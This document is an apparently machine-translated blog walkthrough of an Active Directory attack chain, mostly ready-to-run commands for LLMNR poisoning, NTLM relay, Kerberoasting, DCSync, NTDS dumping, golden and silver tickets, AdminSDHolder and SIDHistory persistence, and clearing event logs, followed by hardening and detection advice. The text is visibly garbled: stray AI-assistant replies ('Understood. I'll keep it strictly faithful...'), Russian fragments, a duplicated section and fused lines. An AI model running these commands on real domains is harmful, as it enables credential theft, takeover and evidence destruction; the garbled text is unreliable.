I’ve conducted few tests where the path from a domain user to Domain Admin took anywhere from half hour to few days — and each time the chain was reproducible.
Half hour is not bragging — it’s an indicator of how common misconfigurations still exist in production.
Understood. I’ll keep it strictly faithful to structure, preserve formatting, keep code intact, and avoid adding extra sections or summaries.
🔐 I will break down the full Active Directory exploitation chain: from the initial Nmap scan to DCSync, including concrete commands, explanation of flags, and analysis of common mistakes that even experienced penetration testers run into.
Lats setup lab 🧪
Before running BloodHound on a client’s production domain, this attack chain should first be validated in a lab environment. The lab used here is minimal but covers all required scenarios:
- DC01 - Windows Server 2022 with AD DS and DNS roles. Domain:
lab.local - SRV01 - Windows Server 2019, domain member. Hosts a service with SPN (used for Kerberoasting)
- WS01 - Windows 10/11 Pro, domain workstation
- Attacker - Kali Linux / Parrot with Impacket, BloodHound, Responder, NetExec (nxc, modern CrackMapExec fork), Rubeus installed
Intentionally vulnerable configuration is applied via PowerShell on DC01:
# Включаем LLMNR (по умолчанию включён, но убедимся)
# GPO: Computer Configuration -> Administrative Templates -> Network -> DNS Client
# "Turn off multicast name resolution" = Not Configured
# Creating a service account with SPN and weak password
New-ADUser -Name "svc_backup" `
-SamAccountName svc_backup `
-AccountPassword (ConvertTo-SecureString "Backup2023!" -AsPlainText -Force) `
-Enabled $true
Set-ADUser -Identity svc_backup `
-ServicePrincipalNames @{Add="MSSQLSvc/srv01.lab.local:1433"}
# Disabling Kerberos Pre-Authentication (AS-REP Roasting scenario)
Set-ADAccountControl -Identity "testuser" `
-DoesNotRequirePreAuth $true
# ACL abuse: user can modify another user’s password
$targetDN = (Get-ADUser svc_backup).DistinguishedName
$attackerSID = (Get-ADUser "youruser").SID
$acl = Get-Acl "AD:\$targetDN"
# ACE 1: ForceChangePassword (password reset scenario)
# 5-parameter constructor: (identity, adRights, type, objectType, inheritanceType)
$ace1 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$attackerSID,
"ExtendedRight",
"Allow",
[GUID]"00299570-246d-11d0-a768-00aa006e0529",
"None"
)
$acl.AddAccessRule($ace1)
# ACE 2: GenericWrite (for targeted Kerberoasting via SPN modification)
$ace2 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$attackerSID,
"GenericWrite",
"Allow",
"None"
)
$acl.AddAccessRule($ace2)
Set-Acl "AD:\$targetDN" $acl
🧪 What This Lab Enables (Attack Coverage)
This intentionally vulnerable setup allows practice of the following attack techniques:
Kerberoasting — SPN-based service account credential extraction
AS-REP Roasting — exploitation of accounts without Kerberos pre-authentication
LLMNR Poisoning — network name resolution spoofing attacks
ACL Abuse — privilege manipulation via Active Directory permissions
Lateral Movement — post-exploitation movement across domain assets
Here I will break down the full AD exploitation chain: from the initial Nmap scan to DCSync, including exact commands, explanation of flags, and analysis of mistakes that even experienced penetration testers make.
1 – AD Reconnaissance: enumeration tools and techniques
Network reconnaissance: identifying the Domain Controller
The first step after connecting to an internal network is identifying where the Domain Controller is located. A DC exposes a specific set of ports, and Nmap with the correct flags can find it within seconds:
# Fast subnet scan for key AD ports
nmap -sS -T4 -p 53,88,135,139,389,445,636,3268,3269 10.10.10.0/24 --open -oG dc_scan.txt
# Port 88 (Kerberos) + 389 (LDAP) = almost certainly a DC
grep "88/open.*389/open" dc_scan.txt
Why these ports: 88 = Kerberos (DC-only), 389 = LDAP, 636 = LDAPS, 3268/3269 = Global Catalog. If all of them are present on one host, you are almost certainly looking at a Domain Controller.
Additional verification via DNS:
# SRV record query (works without credentials)
nslookup -type=srv _ldap._tcp.dc._msdcs.lab.local 10.10.10.1Enumeration without credentials
Even before obtaining the first password, a large amount of information can be extracted. In a black-box scenario, we start by testing anonymous LDAP and SMB access—surprisingly, this still works in many environments.
# Anonymous LDAP bind test
ldapsearch -x -H ldap://10.10.10.1 -b "DC=lab,DC=local" -s base "(objectclass=*)" 2>/dev/null
# Full anonymous enumeration via enum4linux-ng
enum4linux-ng -A 10.10.10.1
# Anonymous SMB share listing
smbclient -L //10.10.10.1 -N
Special attention should be given to SYSVOL and NETLOGON shares. These sometimes contain deployment scripts with hardcoded credentials. In past engagements, I found Groups.xml files from legacy GPP policies in SYSVOL, where encrypted passwords could be trivially decrypted using gpp-decrypt (Microsoft published the encryption key long ago). A recurring gift that keeps appearing in real environments.
BloodHound: building the attack graph
This is where Active Directory pentesting shifts from a set of commands into a strategy. BloodHound visualizes relationships between domain objects and automatically identifies privilege escalation paths. In practice, a low-privileged user may have write access to a service account in a Backup Operators group, which can lead directly to Domain Admin. Manually tracing such multi-hop chains is extremely difficult.
Data collection is performed using SharpHound (from Windows) or bloodhound-python (from Linux):
# Data collection from Linux (domain credentials required)
bloodhound-python -u 'youruser' -p 'Password1' -d lab.local -ns 10.10.10.1 -c All
# SharpHound from Windows (run as domain user)
# .\SharpHound.exe -c All --zipfilename loot.zip
The -c All flag collects sessions, ACLs, groups, trusts, and containers—complete dataset.
After importing JSON files into BloodHound, use built-in queries:
- “Find Shortest Paths to Domain Admins”
- “Find AS-REP Roastable Users”
- “Find Kerberoastable Users”
- “Shortest Paths from Owned Principals”
A common workflow is marking compromised accounts as “Owned” and recalculating paths. This transforms a chaotic pentest into structured graph-based progression rather than blind enumeration.
Continuing from the previous section, preserving structure and technical accuracy.
LLMNR/NBT-NS Poisoning: перехват учётных данных в локальной сети
LLMNR and NetBIOS Name Service are still enabled by default in many enterprise networks. This allows an attacker to intercept name resolution requests and spoof responses, forcing hosts to send NTLM hashes.
# Responder start (basic configuration)
responder -I eth0 -dwvFlags:
-I— interface selection-d— enables DHCP spoofing-w— enables WPAD rogue proxy-v— verbose output
After starting Responder, it listens for LLMNR/NBT-NS requests and captures NTLMv2 challenge-response hashes, which can later be brute-forced or used in relay attacks.
NetNTLM relay: authentication relaying
If SMB signing is disabled, NTLM authentication can not only be captured but also relayed to other services.
# Start NTLM relay attack
ntlmrelayx.py -tf targets.txt -smb2support
A typical target file contains hosts with SMB/LDAP without signing enabled:
10.10.10.20
10.10.10.25
10.10.10.30Kerberoasting: extracting service account keys
Kerberoasting targets service accounts with SPNs by requesting a Kerberos ticket and extracting the encrypted TGS for offline brute-force cracking.
# Get SPN tickets using Impacket
GetUserSPNs.py lab.local/youruser:Password1 -dc-ip 10.10.10.1 -requestAlternative using Rubeus (Windows):
Rubeus.exe kerberoast /outfile:hashes.txtExtracted hashes can be cracked using hashcat:
hashcat -m 13100 hashes.txt rockyou.txtAS-REP Roasting: attack without pre-authentication
If Kerberos pre-authentication is disabled for a user, an attacker can request an encrypted AS-REP response without knowing the password.
GetNPUsers.py lab.local/ -usersfile users.txt -dc-ip 10.10.10.1ACL Abuse: abusing Active Directory permissions
ACLs in Active Directory are often a source of hidden privilege escalation. Even a low-privileged user may have rights to modify attributes of another object.
Typical rights:
- ForceChangePassword
- GenericWrite
- GenericAll
- WriteDACL
BloodHound often reveals unexpected paths to Domain Admin through chained permissions relationships.
Lateral Movement: moving laterally within the domain
After obtaining credentials, the next objective is lateral movement across hosts using SMB, WinRM, or WMI.
# SMB exec
impacket-psexec lab.local/youruser:Password1@10.10.10.20
# WinRM exec
evil-winrm -i 10.10.10.20 -u youruser -p PasswordDCSync: final stage of domain compromise
DCSync mimics a Domain Controller and requests replication of credentials from AD, allowing extraction of NTLM hashes for all users, including krbtgt.
secretsdump.py lab.local/youruser:Password1@10.10.10.10or via Mimikatz:
lsadump::dcsync /domain:lab.local /user:krbtgt
LLMNR/NBT-NS Poisoning: credential interception in the local network
LLMNR and NetBIOS Name Service remain enabled by default in many enterprise environments. This allows attackers to intercept name resolution requests and spoof responses, forcing systems to disclose NTLM hashes.
responder -I eth0 -dwv
Flags:
-Iinterface selection-denables DHCP spoofing-wenables WPAD rogue proxy-vverbose output
After launching Responder, it passively listens for LLMNR/NBT-NS broadcast requests and captures NTLMv2 challenge-response hashes. These hashes can later be cracked offline or relayed in authentication attacks.
NetNTLM relay: authentication relaying
If SMB signing is not enforced, captured NTLM authentication can be relayed to other network services instead of being cracked.
ntlmrelayx.py -tf targets.txt -smb2support
A typical target list includes hosts where SMB/LDAP signing is disabled:
10.10.10.20
10.10.10.25
10.10.10.30Kerberoasting: extracting service account credentials
Kerberoasting targets service accounts with Service Principal Names (SPNs) by requesting Kerberos service tickets and extracting encrypted TGS tickets for offline brute-force attacks.
GetUserSPNs.py lab.local/youruser:Password1 -dc-ip 10.10.10.1 -request
Alternative execution via Rubeus:
Rubeus.exe kerberoast /outfile:hashes.txt
Offline cracking with hashcat:
hashcat -m 13100 hashes.txt rockyou.txtAS-REP Roasting: attack without Kerberos pre-authentication
If Kerberos pre-authentication is disabled for a user account, an attacker can request an encrypted AS-REP response without knowing the password.
GetNPUsers.py lab.local/ -usersfile users.txt -dc-ip 10.10.10.1ACL Abuse: Active Directory permission exploitation
Active Directory ACLs frequently contain misconfigurations that enable privilege escalation paths. Even low-privileged users may have rights to modify attributes of other objects.
Common rights include:
- ForceChangePassword
- GenericWrite
- GenericAll
- WriteDACL
BloodHound often reveals multi-step privilege escalation chains created by these permissions.
Lateral Movement: internal domain pivoting
After obtaining valid credentials, the next step is lateral movement across domain hosts using SMB, WinRM, or WMI-based execution.
impacket-psexec lab.local/youruser:Password1@10.10.10.20
evil-winrm -i 10.10.10.20 -u youruser -p Password1DCSync: domain compromise stage
DCSync simulates a Domain Controller and requests replication data from Active Directory, enabling extraction of password hashes for all domain users, including the krbtgt account.
secretsdump.py lab.local/youruser:Password1@10.10.10.1
Alternative via Mimikatz:
lsadump::dcsync /domain:lab.local /user:krbtgt
Post-Exploitation: domain-wide credential extraction and persistence
After obtaining Domain Admin or replication-level privileges, the attacker gains full visibility over the Active Directory database. At this stage, the objective is no longer access escalation, but complete domain control and persistence.
NTDS.dit extraction: offline credential database dump
One of the most critical artifacts in Active Directory is the NTDS database, which contains all domain password hashes.
secretsdump.py lab.local/Administrator:Password1@10.10.10.1 -just-dc
This extracts:
- NTLM hashes for all domain users
- Kerberos keys
- System boot key material
Alternative approach using Volume Shadow Copy:
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
copy C:\Windows\System32\config\SYSTEM C:\temp\SYSTEM
Offline extraction:
secretsdump.py -ntds ntds.dit -system SYSTEM LOCALGolden Ticket attack: Kerberos trust abuse
With the NTLM hash of the krbtgt account, it is possible to forge Kerberos Ticket Granting Tickets (TGTs), effectively bypassing authentication controls across the entire domain.
ticketer.py -nthash <krbtgt_hash> -domain-sid <domain_sid> -domain lab.local administrator
Alternative via Mimikatz:
kerberos::golden /domain:lab.local /sid:<domain_sid> /rc4:<krbtgt_hash> /user:administrator /id:500Silver Ticket attack: service-level impersonation
Silver Tickets target specific services by forging Service Ticket (TGS) without contacting a Domain Controller.
kerberos::golden /domain:lab.local /sid:<domain_sid> /target:srv01.lab.local /service:MSSQL /rc4:<service_hash> /user:administratorPersistence techniques in Active Directory
After domain compromise, attackers typically establish persistence mechanisms that survive password resets and account changes.
Common techniques include:
- ACL backdoors (GenericAll / WriteDACL on privileged objects)
- AdminSDHolder modification
- SIDHistory injection
- Creating hidden privileged accounts
AdminSDHolder abuse
Objects inside privileged groups are periodically protected by the AdminSDHolder mechanism, which propagates permissions every 60 minutes. If modified, it allows persistent privilege escalation.
Set-ADObject -Identity "CN=AdminSDHolder,CN=System,DC=lab,DC=local" -Replace @{ntSecurityDescriptor="..."}SIDHistory injection
SIDHistory allows an account to inherit privileges from another SID, effectively impersonating higher-privileged accounts.
mimikatz.exe "privilege::debug" "sid::add /sid:<domain_admin_sid>"Lateral movement at scale: domain-wide execution
Once full control is achieved, execution can be performed across all domain hosts.
crackmapexec smb 10.10.10.0/24 -u Administrator -H <ntlm_hash> -x "whoami"
or
impacket-smbexec lab.local/Administrator@10.10.10.20Cleanup and anti-forensics considerations
In real engagements, attackers often attempt to reduce forensic footprint by:
- Clearing Windows Event Logs
- Removing PowerShell transcription logs
- Disabling security auditing temporarily
- Deleting shadow copies
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
Detection and common defensive gaps
Many of the techniques described above remain effective not because they are advanced, but because detection and hardening are often incomplete or misconfigured.
LLMNR/NBT-NS poisoning is still possible because multicast name resolution is rarely disabled via Group Policy. NTLM relay succeeds in environments where SMB signing is not enforced. Kerberoasting remains viable due to weak service account passwords and lack of monitoring on ticket requests.
Logging gaps
By default, Windows logging does not provide full visibility into Active Directory abuse scenarios. Critical events may be generated but are often not collected, correlated, or analyzed.
Key examples:
- Kerberos ticket requests (Event ID 4769) are rarely monitored for anomalies such as high request volume or unusual service accounts
- Logon events (4624) do not always clearly indicate pass-the-hash or relay scenarios
- Directory Service changes (5136) are often ignored, allowing ACL abuse to go unnoticed
BloodHound as a defensive tool
Although commonly used offensively, BloodHound can be leveraged defensively to identify dangerous privilege escalation paths before an attacker does.
Regular collection and analysis of AD relationships allows defenders to:
- Identify users with excessive privileges
- Detect unintended ACL paths to Domain Admin
- Monitor changes in privilege relationships over time
Hardening recommendations
To mitigate the described attack vectors, the following controls should be implemented:
- Disable LLMNR and NetBIOS over TCP/IP across all endpoints
- Enforce SMB signing on all systems
- Restrict NTLM usage via Group Policy where possible
- Use strong, randomly generated passwords for service accounts
- Enable Kerberos pre-authentication for all users
- Regularly audit ACLs and privileged group memberships
- Monitor for DCSync attempts and replication rights abuse
Monitoring DCSync activity
DCSync attacks generate specific replication-related events. Monitoring these is critical for detecting domain compromise.
Indicators include:
- Event ID 4662 with replication permissions
- Requests originating from non-Domain Controller systems
- Unusual accounts performing directory replication
Final note
A full Active Directory compromise chain is rarely dependent on a single vulnerability. Instead, it is the result of multiple small misconfigurations combined into a viable attack path.
Understanding how these pieces connect is significantly more valuable than memorizing individual tools or commands. Start with a labs on HTB. Practice each phase. Then combine them.
If you understand the chain — you control the attack or if you don’t — you’re just running tools.🚪
🛡️ Defensive Recommendations
— Disable LLMNR/NBT-NS
— Enable SMB signing
— Use strong passwords (especially service accounts)
— Monitor Kerberos activity
